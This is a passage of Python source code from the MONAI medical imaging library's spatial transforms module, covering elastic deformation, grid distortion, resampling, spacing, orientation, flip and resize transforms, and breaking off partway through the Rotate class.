`((0,3), 1, ...)`: for dim0, rotation will be in range `[0, 3]`, and for dim1 `[-1, 1]` will be used. Setting a single value will use `[-x, x]` for dim0 and nothing for the remaining dimensions. shear_range: shear range with format matching `rotate_range`, it defines the range to randomly select shearing factors(a tuple of 2 floats for 2D) for affine matrix, take a 2D affine as example:: [ [1.0, params[0], 0.0], [params[1], 1.0, 0.0], [0.0, 0.0, 1.0], ] translate_range: translate range with format matching `rotate_range`, it defines the range to randomly select pixel to translate for every spatial dims. scale_range: scaling range with format matching `rotate_range`. it defines the range to randomly select the scale factor to translate for every spatial dims. A value of 1.0 is added to the result. This allows 0 to correspond to no change (i.e., a scaling of 1.0). spatial_size: specifying output image spatial size [h, w]. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. if some components of the `spatial_size` are non-positive values, the transform will use the corresponding components of img size. For example, `spatial_size=(32, -1)` will be adapted to `(32, 64)` if the second spatial dimension size of img is `64`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"reflection"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html device: device on which the tensor will be allocated. See also: - :py:class:`RandAffineGrid` for the random affine parameters configurations. - :py:class:`Affine` for the affine transformation parameters configurations. .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ RandomizableTransform.__init__(self, prob) self.deform_grid = RandDeformGrid( spacing=spacing, magnitude_range=magnitude_range, as_tensor_output=True, device=device ) self.rand_affine_grid = RandAffineGrid( rotate_range=rotate_range, shear_range=shear_range, translate_range=translate_range, scale_range=scale_range, device=device, ) self.resampler = Resample(device=device) self.device = device self.spatial_size = spatial_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) def set_random_state( self, seed: Optional[int] = None, state: Optional[np.random.RandomState] = None ) -> "Rand2DElastic": self.deform_grid.set_random_state(seed, state) self.rand_affine_grid.set_random_state(seed, state) super().set_random_state(seed, state) return self def randomize(self, spatial_size: Sequence[int]) -> None: super().randomize(None) if not self._do_transform: return None self.deform_grid.randomize(spatial_size) self.rand_affine_grid.randomize() def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Tuple[int, int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: """ Args: img: shape must be (num_channels, H, W), spatial_size: specifying output image spatial size [h, w]. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html randomize: whether to execute `randomize()` function first, default to True. """ sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) if randomize: self.randomize(spatial_size=sp_size) if self._do_transform: grid = self.deform_grid(spatial_size=sp_size) grid = self.rand_affine_grid(grid=grid) grid = torch.nn.functional.interpolate( # type: ignore recompute_scale_factor=True, input=grid.unsqueeze(0), scale_factor=list(ensure_tuple(self.deform_grid.spacing)), mode=InterpolateMode.BICUBIC.value, align_corners=False, ) grid = CenterSpatialCrop(roi_size=sp_size)(grid[0]) else: _device = img.device if isinstance(img, torch.Tensor) else self.device grid = create_grid(spatial_size=sp_size, device=_device, backend="torch") out: NdarrayOrTensor = self.resampler( img, grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode ) return out class Rand3DElastic(RandomizableTransform): """ Random elastic deformation and affine in 3D. A tutorial is available: https://github.com/Project-MONAI/tutorials/blob/0.6.0/modules/transforms_demo_2d.ipynb. """ backend = Resample.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, sigma_range: Tuple[float, float], magnitude_range: Tuple[float, float], prob: float = 0.1, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, spatial_size: Optional[Union[Tuple[int, int, int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, as_tensor_output: bool = False, device: Optional[torch.device] = None, ) -> None: """ Args: sigma_range: a Gaussian kernel with standard deviation sampled from ``uniform[sigma_range[0], sigma_range[1])`` will be used to smooth the random offset grid. magnitude_range: the random offsets on the grid will be generated from ``uniform[magnitude[0], magnitude[1])``. prob: probability of returning a randomized elastic transform. defaults to 0.1, with 10% chance returns a randomized elastic transform, otherwise returns a ``spatial_size`` centered area extracted from the input image. rotate_range: angle range in radians. If element `i` is a pair of (min, max) values, then `uniform[-rotate_range[i][0], rotate_range[i][1])` will be used to generate the rotation parameter for the `i`th spatial dimension. If not, `uniform[-rotate_range[i], rotate_range[i])` will be used. This can be altered on a per-dimension basis. E.g., `((0,3), 1, ...)`: for dim0, rotation will be in range `[0, 3]`, and for dim1 `[-1, 1]` will be used. Setting a single value will use `[-x, x]` for dim0 and nothing for the remaining dimensions. shear_range: shear range with format matching `rotate_range`, it defines the range to randomly select shearing factors(a tuple of 6 floats for 3D) for affine matrix, take a 3D affine as example:: [ [1.0, params[0], params[1], 0.0], [params[2], 1.0, params[3], 0.0], [params[4], params[5], 1.0, 0.0], [0.0, 0.0, 0.0, 1.0], ] translate_range: translate range with format matching `rotate_range`, it defines the range to randomly select voxel to translate for every spatial dims. scale_range: scaling range with format matching `rotate_range`. it defines the range to randomly select the scale factor to translate for every spatial dims. A value of 1.0 is added to the result. This allows 0 to correspond to no change (i.e., a scaling of 1.0). spatial_size: specifying output image spatial size [h, w, d]. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. if some components of the `spatial_size` are non-positive values, the transform will use the corresponding components of img size. For example, `spatial_size=(32, 32, -1)` will be adapted to `(32, 32, 64)` if the third spatial dimension size of img is `64`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"reflection"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html device: device on which the tensor will be allocated. See also: - :py:class:`RandAffineGrid` for the random affine parameters configurations. - :py:class:`Affine` for the affine transformation parameters configurations. .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ RandomizableTransform.__init__(self, prob) self.rand_affine_grid = RandAffineGrid( rotate_range=rotate_range, shear_range=shear_range, translate_range=translate_range, scale_range=scale_range, device=device, ) self.resampler = Resample(device=device) self.sigma_range = sigma_range self.magnitude_range = magnitude_range self.spatial_size = spatial_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.device = device self.rand_offset: np.ndarray self.magnitude = 1.0 self.sigma = 1.0 def set_random_state( self, seed: Optional[int] = None, state: Optional[np.random.RandomState] = None ) -> "Rand3DElastic": self.rand_affine_grid.set_random_state(seed, state) super().set_random_state(seed, state) return self def randomize(self, grid_size: Sequence[int]) -> None: super().randomize(None) if not self._do_transform: return None self.rand_offset = self.R.uniform(-1.0, 1.0, [3] + list(grid_size)).astype(np.float32, copy=False) self.magnitude = self.R.uniform(self.magnitude_range[0], self.magnitude_range[1]) self.sigma = self.R.uniform(self.sigma_range[0], self.sigma_range[1]) self.rand_affine_grid.randomize() def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Tuple[int, int, int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: """ Args: img: shape must be (num_channels, H, W, D), spatial_size: specifying spatial 3D output image spatial size [h, w, d]. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html randomize: whether to execute `randomize()` function first, default to True. """ sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) if randomize: self.randomize(grid_size=sp_size) _device = img.device if isinstance(img, torch.Tensor) else self.device grid = create_grid(spatial_size=sp_size, device=_device, backend="torch") if self._do_transform: if self.rand_offset is None: raise RuntimeError("rand_offset is not initialized.") gaussian = GaussianFilter(3, self.sigma, 3.0).to(device=_device) offset = torch.as_tensor(self.rand_offset, device=_device).unsqueeze(0) grid[:3] += gaussian(offset)[0] * self.magnitude grid = self.rand_affine_grid(grid=grid) out: NdarrayOrTensor = self.resampler( img, grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode ) return out class GridDistortion(Transform): backend = [TransformBackends.TORCH] def __init__( self, num_cells: Union[Tuple[int], int], distort_steps: Sequence[Sequence[float]], mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, device: Optional[torch.device] = None, ) -> None: """ Grid distortion transform. Refer to: https://github.com/albumentations-team/albumentations/blob/master/albumentations/augmentations/transforms.py Args: num_cells: number of grid cells on each dimension. distort_steps: This argument is a list of tuples, where each tuple contains the distort steps of the corresponding dimensions (in the order of H, W[, D]). The length of each tuple equals to `num_cells + 1`. Each value in the tuple represents the distort step of the related cell. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html device: device on which the tensor will be allocated. """ self.resampler = Resample(mode=mode, padding_mode=padding_mode, device=device) self.num_cells = num_cells self.distort_steps = distort_steps self.device = device def __call__( self, img: NdarrayOrTensor, distort_steps: Optional[Sequence[Sequence]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, ) -> NdarrayOrTensor: """ Args: img: shape must be (num_channels, H, W[, D]). distort_steps: This argument is a list of tuples, where each tuple contains the distort steps of the corresponding dimensions (in the order of H, W[, D]). The length of each tuple equals to `num_cells + 1`. Each value in the tuple represents the distort step of the related cell. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html """ distort_steps = self.distort_steps if distort_steps is None else distort_steps if len(img.shape) != len(distort_steps) + 1: raise ValueError("the spatial size of `img` does not match with the length of `distort_steps`") all_ranges = [] num_cells = ensure_tuple_rep(self.num_cells, len(img.shape) - 1) for dim_idx, dim_size in enumerate(img.shape[1:]): dim_distort_steps = distort_steps[dim_idx] ranges = torch.zeros(dim_size, dtype=torch.float32) cell_size = dim_size // num_cells[dim_idx] prev = 0 for idx in range(num_cells[dim_idx] + 1): start = int(idx * cell_size) end = start + cell_size if end > dim_size: end = dim_size cur = dim_size else: cur = prev + cell_size * dim_distort_steps[idx] ranges[start:end] = torch.linspace(prev, cur, end - start) prev = cur ranges = ranges - (dim_size - 1.0) / 2.0 all_ranges.append(ranges) coords = meshgrid_ij(*all_ranges) grid = torch.stack([*coords, torch.ones_like(coords[0])]) return self.resampler(img, grid=grid, mode=mode, padding_mode=padding_mode) # type: ignore class RandGridDistortion(RandomizableTransform): backend = [TransformBackends.TORCH] def __init__( self, num_cells: Union[Tuple[int], int] = 5, prob: float = 0.1, distort_limit: Union[Tuple[float, float], float] = (-0.03, 0.03), mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, device: Optional[torch.device] = None, ) -> None: """ Random grid distortion transform. Refer to: https://github.com/albumentations-team/albumentations/blob/master/albumentations/augmentations/transforms.py Args: num_cells: number of grid cells on each dimension. prob: probability of returning a randomized grid distortion transform. Defaults to 0.1. distort_limit: range to randomly distort. If single number, distort_limit is picked from (-distort_limit, distort_limit). Defaults to (-0.03, 0.03). mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html device: device on which the tensor will be allocated. """ RandomizableTransform.__init__(self, prob) self.num_cells = num_cells if isinstance(distort_limit, (int, float)): self.distort_limit = (min(-distort_limit, distort_limit), max(-distort_limit, distort_limit)) else: self.distort_limit = (min(distort_limit), max(distort_limit)) self.distort_steps: Sequence[Sequence[float]] = ((1.0,),) self.grid_distortion = GridDistortion( num_cells=num_cells, distort_steps=self.distort_steps, mode=mode, padding_mode=padding_mode, device=device ) def randomize(self, spatial_shape: Sequence[int]) -> None: super().randomize(None) if not self._do_transform: return self.distort_steps = tuple( tuple(1.0 + self.R.uniform(low=self.distort_limit[0], high=self.distort_limit[1], size=n_cells + 1)) for n_cells in ensure_tuple_rep(self.num_cells, len(spatial_shape)) ) def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: """ Args: img: shape must be (num_channels, H, W[, D]). mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html randomize: whether to shuffle the random factors using `randomize()`, default to True. """ if randomize: self.randomize(img.shape[1:]) if not self._do_transform: return img return self.grid_distortion(img, distort_steps=self.distort_steps, mode=mode, padding_mode=padding_mode)

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import warnings from copy import deepcopy from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Union import numpy as np import torch from monai.config import USE_COMPILED, DtypeLike from monai.config.type_definitions import NdarrayOrTensor from monai.data.utils import AFFINE_TOL, compute_shape_offset, reorient_spatial_axes, to_affine_nd, zoom_affine from monai.networks.layers import AffineTransform, GaussianFilter, grid_pull from monai.networks.utils import meshgrid_ij, normalize_transform from monai.transforms.croppad.array import CenterSpatialCrop, Pad from monai.transforms.transform import Randomizable, RandomizableTransform, ThreadUnsafe, Transform from monai.transforms.utils import ( create_control_grid, create_grid, create_rotate, create_scale, create_shear, create_translate, map_spatial_axes, ) from monai.transforms.utils_pytorch_numpy_unification import allclose, moveaxis from monai.utils import ( GridSampleMode, GridSamplePadMode, InterpolateMode, NumpyPadMode, PytorchPadMode, ensure_tuple, ensure_tuple_rep, ensure_tuple_size, fall_back_tuple, issequenceiterable, optional_import, pytorch_after, ) from monai.utils.deprecate_utils import deprecated_arg from monai.utils.enums import TransformBackends from monai.utils.module import look_up_option from monai.utils.type_conversion import convert_data_type, convert_to_dst_type nib, has_nib = optional_import("nibabel") __all__ = [ "SpatialResample", "ResampleToMatch", "Spacing", "Orientation", "Flip", "GridDistortion", "Resize", "Rotate", "Zoom", "Rotate90", "RandRotate90", "RandRotate", "RandFlip", "RandGridDistortion", "RandAxisFlip", "RandZoom", "AffineGrid", "RandAffineGrid", "RandDeformGrid", "Resample", "Affine", "RandAffine", "Rand2DElastic", "Rand3DElastic", ] RandRange = Optional[Union[Sequence[Union[Tuple[float, float], float]], float]] class SpatialResample(Transform): backend = [TransformBackends.TORCH] def __init__( self, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: DtypeLike = np.float64, ): self.mode = mode self.padding_mode = padding_mode self.align_corners = align_corners self.dtype = dtype def __call__( self, img: NdarrayOrTensor, src_affine: Optional[NdarrayOrTensor] = None, dst_affine: Optional[NdarrayOrTensor] = None, spatial_size: Optional[Union[Sequence[int], np.ndarray, int]] = None, mode: Union[GridSampleMode, str, None] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str, None] = GridSamplePadMode.BORDER, align_corners: Optional[bool] = False, dtype: DtypeLike = None, ) -> Tuple[NdarrayOrTensor, NdarrayOrTensor]: if src_affine is None: src_affine = np.eye(4, dtype=np.float64) spatial_rank = min(len(img.shape) - 1, src_affine.shape[0] - 1, 3) if (not isinstance(spatial_size, int) or spatial_size != -1) and spatial_size is not None: spatial_rank = min(len(ensure_tuple(spatial_size)), 3) src_affine = to_affine_nd(spatial_rank, src_affine) dst_affine = to_affine_nd(spatial_rank, dst_affine) if dst_affine is not None else src_affine dst_affine, *_ = convert_to_dst_type(dst_affine, dst_affine, dtype=torch.float32) in_spatial_size = np.asarray(img.shape[1 : spatial_rank + 1]) if isinstance(spatial_size, int) and (spatial_size == -1): spatial_size = in_spatial_size elif spatial_size is None and spatial_rank > 1: spatial_size, _ = compute_shape_offset(in_spatial_size, src_affine, dst_affine) spatial_size = np.asarray(fall_back_tuple(ensure_tuple(spatial_size)[:spatial_rank], in_spatial_size)) if ( allclose(src_affine, dst_affine, atol=AFFINE_TOL) and allclose(spatial_size, in_spatial_size) or spatial_rank == 1 ): output_data, *_ = convert_to_dst_type(img, img, dtype=torch.float32) return output_data, dst_affine if has_nib and isinstance(img, np.ndarray): spatial_ornt, dst_r = reorient_spatial_axes(img.shape[1 : spatial_rank + 1], src_affine, dst_affine) if allclose(dst_r, dst_affine, atol=AFFINE_TOL) and allclose(spatial_size, in_spatial_size): spatial_ornt[:, 0] += 1 spatial_ornt = np.concatenate([np.array([[0, 1]]), spatial_ornt]) img_ = nib.orientations.apply_orientation(img, spatial_ornt) output_data, *_ = convert_to_dst_type(img_, img, dtype=torch.float32) return output_data, dst_affine try: src_affine, *_ = convert_to_dst_type(src_affine, dst_affine) if isinstance(src_affine, np.ndarray): xform = np.linalg.solve(src_affine, dst_affine) else: xform = ( torch.linalg.solve(src_affine, dst_affine) if pytorch_after(1, 8, 0) else torch.solve(dst_affine, src_affine).solution ) except (np.linalg.LinAlgError, RuntimeError) as e: raise ValueError(f"src affine is not invertible: {src_affine}") from e xform = to_affine_nd(spatial_rank, xform) if allclose(xform, np.diag(np.ones(len(xform))), atol=AFFINE_TOL) and allclose(spatial_size, in_spatial_size): output_data, *_ = convert_to_dst_type(img, img, dtype=torch.float32) return output_data, dst_affine _dtype = dtype or self.dtype or img.dtype in_spatial_size = in_spatial_size.tolist() chns, additional_dims = img.shape[0], img.shape[spatial_rank + 1 :] # beyond three spatial dims # resample img_ = convert_data_type(img, torch.Tensor, dtype=_dtype)[0] xform = convert_to_dst_type(xform, img_)[0] align_corners = self.align_corners if align_corners is None else align_corners mode = mode or self.mode padding_mode = padding_mode or self.padding_mode if additional_dims: xform_shape = [-1] + in_spatial_size img_ = img_.reshape(xform_shape) if align_corners: _t_r = torch.diag(torch.ones(len(xform), dtype=xform.dtype, device=xform.device)) # type: ignore for idx, d_dst in enumerate(spatial_size[:spatial_rank]): _t_r[idx, -1] = (max(d_dst, 2) - 1.0) / 2.0 xform = xform @ _t_r if not USE_COMPILED: _t_l = normalize_transform( in_spatial_size, xform.device, xform.dtype, align_corners=True # type: ignore ) xform = _t_l @ xform # type: ignore affine_xform = Affine( affine=xform, spatial_size=spatial_size, norm_coords=False, image_only=True, dtype=_dtype ) output_data = affine_xform(img_, mode=mode, padding_mode=padding_mode) else: affine_xform = AffineTransform( normalized=False, mode=mode, padding_mode=padding_mode, align_corners=align_corners, reverse_indexing=True, ) output_data = affine_xform(img_.unsqueeze(0), theta=xform, spatial_size=spatial_size).squeeze(0) if additional_dims: full_shape = (chns, *spatial_size, *additional_dims) output_data = output_data.reshape(full_shape) # output dtype float output_data, *_ = convert_to_dst_type(output_data, img, dtype=torch.float32) return output_data, dst_affine class ResampleToMatch(SpatialResample): def __call__( # type: ignore self, img: NdarrayOrTensor, src_meta: Optional[Dict] = None, dst_meta: Optional[Dict] = None, mode: Union[GridSampleMode, str, None] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str, None] = GridSamplePadMode.BORDER, align_corners: Optional[bool] = False, dtype: DtypeLike = None, ): if src_meta is None: raise RuntimeError("`in_meta` is missing") if dst_meta is None: raise RuntimeError("`out_meta` is missing") mode = mode or self.mode padding_mode = padding_mode or self.padding_mode align_corners = self.align_corners if align_corners is None else align_corners dtype = dtype or self.dtype src_affine = src_meta.get("affine") dst_affine = dst_meta.get("affine") img, updated_affine = super().__call__( img=img, src_affine=src_affine, dst_affine=dst_affine, spatial_size=dst_meta.get("spatial_shape"), mode=mode, padding_mode=padding_mode, align_corners=align_corners, dtype=dtype, ) dst_meta = deepcopy(dst_meta) dst_meta["affine"] = updated_affine return img, dst_meta class Spacing(Transform): backend = SpatialResample.backend def __init__( self, pixdim: Union[Sequence[float], float, np.ndarray], diagonal: bool = False, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: DtypeLike = np.float64, image_only: bool = False, ) -> None: self.pixdim = np.array(ensure_tuple(pixdim), dtype=np.float64) self.diagonal = diagonal self.image_only = image_only self.sp_resample = SpatialResample( mode=look_up_option(mode, GridSampleMode), padding_mode=look_up_option(padding_mode, GridSamplePadMode), align_corners=align_corners, dtype=dtype, ) def __call__( self, data_array: NdarrayOrTensor, affine: Optional[NdarrayOrTensor] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, align_corners: Optional[bool] = None, dtype: DtypeLike = None, output_spatial_shape: Optional[Union[Sequence[int], np.ndarray, int]] = None, ) -> Union[NdarrayOrTensor, Tuple[NdarrayOrTensor, NdarrayOrTensor, NdarrayOrTensor]]: sr = int(data_array.ndim - 1) if sr <= 0: raise ValueError("data_array must have at least one spatial dimension.") if affine is None: # default to identity affine_np = affine = np.eye(sr + 1, dtype=np.float64) affine_ = np.eye(sr + 1, dtype=np.float64) else: affine_np, *_ = convert_data_type(affine, np.ndarray) affine_ = to_affine_nd(sr, affine_np) out_d = self.pixdim[:sr] if out_d.size < sr: out_d = np.append(out_d, [1.0] * (sr - out_d.size)) # compute output affine, shape and offset new_affine = zoom_affine(affine_, out_d, diagonal=self.diagonal) output_shape, offset = compute_shape_offset(data_array.shape[1:], affine_, new_affine) new_affine[:sr, -1] = offset[:sr] output_data, new_affine = self.sp_resample( data_array, src_affine=affine, dst_affine=new_affine, spatial_size=list(output_shape) if output_spatial_shape is None else output_spatial_shape, mode=mode, padding_mode=padding_mode, align_corners=align_corners, dtype=dtype, ) new_affine = to_affine_nd(affine_np, new_affine) new_affine, *_ = convert_to_dst_type(src=new_affine, dst=affine, dtype=torch.float32) if self.image_only: return output_data return output_data, affine, new_affine class Orientation(Transform): backend = [TransformBackends.NUMPY, TransformBackends.TORCH] def __init__( self, axcodes: Optional[str] = None, as_closest_canonical: bool = False, labels: Optional[Sequence[Tuple[str, str]]] = tuple(zip("LPI", "RAS")), image_only: bool = False, ) -> None: if axcodes is None and not as_closest_canonical: raise ValueError("Incompatible values: axcodes=None and as_closest_canonical=True.") if axcodes is not None and as_closest_canonical: warnings.warn("using as_closest_canonical=True, axcodes ignored.") self.axcodes = axcodes self.as_closest_canonical = as_closest_canonical self.labels = labels self.image_only = image_only def __call__( self, data_array: NdarrayOrTensor, affine: Optional[NdarrayOrTensor] = None ) -> Union[NdarrayOrTensor, Tuple[NdarrayOrTensor, NdarrayOrTensor, NdarrayOrTensor]]: spatial_shape = data_array.shape[1:] sr = len(spatial_shape) if sr <= 0: raise ValueError("data_array must have at least one spatial dimension.") affine_: np.ndarray if affine is None: # default to identity affine_np = affine = np.eye(sr + 1, dtype=np.float64) affine_ = np.eye(sr + 1, dtype=np.float64) else: affine_np, *_ = convert_data_type(affine, np.ndarray) affine_ = to_affine_nd(sr, affine_np) src = nib.io_orientation(affine_) if self.as_closest_canonical: spatial_ornt = src else: if self.axcodes is None: raise ValueError("Incompatible values: axcodes=None and as_closest_canonical=True.") if sr < len(self.axcodes): warnings.warn( f"axcodes ('{self.axcodes}') length is smaller than the number of input spatial dimensions D={sr}.\n" f"{self.__class__.__name__}: input spatial shape is {spatial_shape}, num. channels is {data_array.shape[0]}," "please make sure the input is in the channel-first format." ) dst = nib.orientations.axcodes2ornt(self.axcodes[:sr], labels=self.labels) if len(dst) < sr: raise ValueError( f"axcodes must match data_array spatially, got axcodes={len(self.axcodes)}D data_array={sr}D" ) spatial_ornt = nib.orientations.ornt_transform(src, dst) new_affine = affine_ @ nib.orientations.inv_ornt_aff(spatial_ornt, spatial_shape) _is_tensor = isinstance(data_array, torch.Tensor) spatial_ornt[:, 0] += 1 # skip channel dim spatial_ornt = np.concatenate([np.array([[0, 1]]), spatial_ornt]) axes = [ax for ax, flip in enumerate(spatial_ornt[:, 1]) if flip == -1] if axes: data_array = ( torch.flip(data_array, dims=axes) if _is_tensor else np.flip(data_array, axis=axes) # type: ignore ) full_transpose = np.arange(len(data_array.shape)) full_transpose[: len(spatial_ornt)] = np.argsort(spatial_ornt[:, 0]) if not np.all(full_transpose == np.arange(len(data_array.shape))): if _is_tensor: data_array = data_array.permute(full_transpose.tolist()) # type: ignore else: data_array = data_array.transpose(full_transpose) # type: ignore out, *_ = convert_to_dst_type(src=data_array, dst=data_array) new_affine = to_affine_nd(affine_np, new_affine) new_affine, *_ = convert_to_dst_type(src=new_affine, dst=affine, dtype=torch.float32) if self.image_only: return out return out, affine, new_affine class Flip(Transform): backend = [TransformBackends.TORCH, TransformBackends.NUMPY] def __init__(self, spatial_axis: Optional[Union[Sequence[int], int]] = None) -> None: self.spatial_axis = spatial_axis def __call__(self, img: NdarrayOrTensor) -> NdarrayOrTensor: if isinstance(img, np.ndarray): return np.ascontiguousarray(np.flip(img, map_spatial_axes(img.ndim, self.spatial_axis))) return torch.flip(img, map_spatial_axes(img.ndim, self.spatial_axis)) class Resize(Transform): backend = [TransformBackends.TORCH] def __init__( self, spatial_size: Union[Sequence[int], int], size_mode: str = "all", mode: Union[InterpolateMode, str] = InterpolateMode.AREA, align_corners: Optional[bool] = None, ) -> None: self.size_mode = look_up_option(size_mode, ["all", "longest"]) self.spatial_size = spatial_size self.mode: InterpolateMode = look_up_option(mode, InterpolateMode) self.align_corners = align_corners def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[InterpolateMode, str]] = None, align_corners: Optional[bool] = None, ) -> NdarrayOrTensor: img_, *_ = convert_data_type(img, torch.Tensor, dtype=torch.float) if self.size_mode == "all": input_ndim = img_.ndim - 1 # spatial ndim output_ndim = len(ensure_tuple(self.spatial_size)) if output_ndim > input_ndim: input_shape = ensure_tuple_size(img_.shape, output_ndim + 1, 1) img_ = img_.reshape(input_shape) elif output_ndim < input_ndim: raise ValueError( "len(spatial_size) must be greater or equal to img spatial dimensions, " f"got spatial_size={output_ndim} img={input_ndim}." ) spatial_size_ = fall_back_tuple(self.spatial_size, img_.shape[1:]) else: # for the "longest" mode img_size = img_.shape[1:] if not isinstance(self.spatial_size, int): raise ValueError("spatial_size must be an int number if size_mode is 'longest'.") scale = self.spatial_size / max(img_size) spatial_size_ = tuple(int(round(s * scale)) for s in img_size) resized = torch.nn.functional.interpolate( input=img_.unsqueeze(0), size=spatial_size_, mode=look_up_option(self.mode if mode is None else mode, InterpolateMode).value, align_corners=self.align_corners if align_corners is None else align_corners, ) out, *_ = convert_to_dst_type(resized.squeeze(0), img) return out class Rotate(Transform, ThreadUnsafe): backend = [TransformBackends.TORCH] def __init__( self, angle: Union[Sequence[float], float], keep_size: bool = True, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: Union[DtypeLike, torch.dtype] = np.float32, ) -> None: self.angle = angle self.keep_size = keep_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.align_corners = align_corners self.dtype = dtype self._rotation_matrix: Optional[NdarrayOrTensor] = None def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, align_corners: Optional[bool] = None, dtype: Union[DtypeLike, torch.dtype] = None, ) -> NdarrayOrTensor: _dtype = dtype or self.dtype or img.dtype img_t, *_ = convert_data_type(img, torch.Tensor, dtype=_dtype) im_shape = np.asarray(img_t.shape[1:]) # spatial dimensions input_ndim = len(im_shape) if input_ndim not in (2, 3): raise ValueError(f"Unsupported img dimension: {input_ndim}, available options are [2, 